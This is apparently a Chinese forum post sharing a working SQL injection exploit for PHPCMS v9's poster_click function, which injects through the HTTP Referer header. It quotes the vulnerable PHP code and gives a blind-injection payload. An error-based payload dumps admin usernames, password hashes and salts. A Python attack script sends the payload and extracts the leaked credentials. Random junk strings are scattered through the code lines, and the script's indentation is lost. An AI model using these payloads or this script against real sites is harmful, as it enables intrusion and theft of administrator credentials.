phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

: f. U: K7 j2 u: w问题函数\phpcms\modules\poster\index.php

. p* W. v+ Z! B9 }4 I/ V/ o2 Wpublic function poster_click() {
' B) R/ Z6 d  E$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
9 b6 P: F* A/ |4 C$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
7 {0 B! m; j  c$ip = ip();
! s( F& K# L$ ?$area = $ip_area->get($ip);
! g. S$ ^  B- N4 {$ h$username = param::get_cookie('username') ? param::get_cookie('username') : '';
# Q/ t( }( p  Zif($id) {
1 z  b4 Z" U5 t6 Q8 g4 t6 k& m$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
3 S6 x! x7 i0 G+ X$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
6 N0 K+ C: f8 B: dif (count($setting)==1) {
$url = $setting['1']['linkurl'];
  N& s2 W. A" z2 y2 y0 y- a} else {
( M" s7 a4 n7 M; s$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
' W- h. t) ~  e4 `}
header('Location: '.$url);
}
5 o% m$ T) D1 @
# E8 c1 ]3 a' ?% m* P

1 a( u- s& Q9 _7 H- F8 Z, p利用方式：

9 M, _, ]9 Y* @1、可以采用盲注入的手法：
/ |3 Z* t6 U+ z: K, ~7 H
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
1 S5 E7 n- y6 t+ S+ I( r  n
9 G6 u3 @+ L4 k+ a4 X; `, v/ w6 m) @通过返回页面，正常与否一个个猜解密码字段。
7 o) G! }# z1 Z
2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
" O, d: V9 n8 f6 D

  u& E% E4 P8 J( e- U- q& d
9 {  f) Y0 \7 ^" L0 [利用程序:

#!/usr/bin/env python
import httplib,sys,re

def attack():
print “Code by Pax.Mac Team conqu3r!”
/ C) R! V# S' T! qprint “Welcome to our zone!!!”
url=sys.argv[1]
, W2 S- R) y+ Y, _5 rpaths=sys.argv[2]
conn = httplib.HTTPConnection(url)
" {, E, z) ~# `: J$ B/ d* ji_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
“Accept”: “text/plain”,
8 z/ ^1 m( C) l: x& g7 H“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
r1 = conn.getresponse()
datas=r1.read()
/ E0 l0 q  P# d3 \- [+ Vdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
9 O1 s, S' ~: c0 S4 W1 y' w2 q% fprint datas[0]
conn.close()
# d3 H% f# {# R4 @% Z1 G- M- ~3 ?' uif __name__==”__main__”:
if len(sys.argv)<3:
& u) n& G6 C8 o- k6 r5 f: w# Zprint “Code by Pax.Mac Team conqu3r”
: i, @0 Y! l( V" Z- k" Jprint “Usgae:”
# l- M% z9 M+ C( j" {3 u9 Eprint “    phpcmsattack.py   www.paxmac.org /”
% ~- w+ ~, m9 n4 s8 c8 uprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
: R% L, J0 h2 m" }% asys.exit(1)
attack()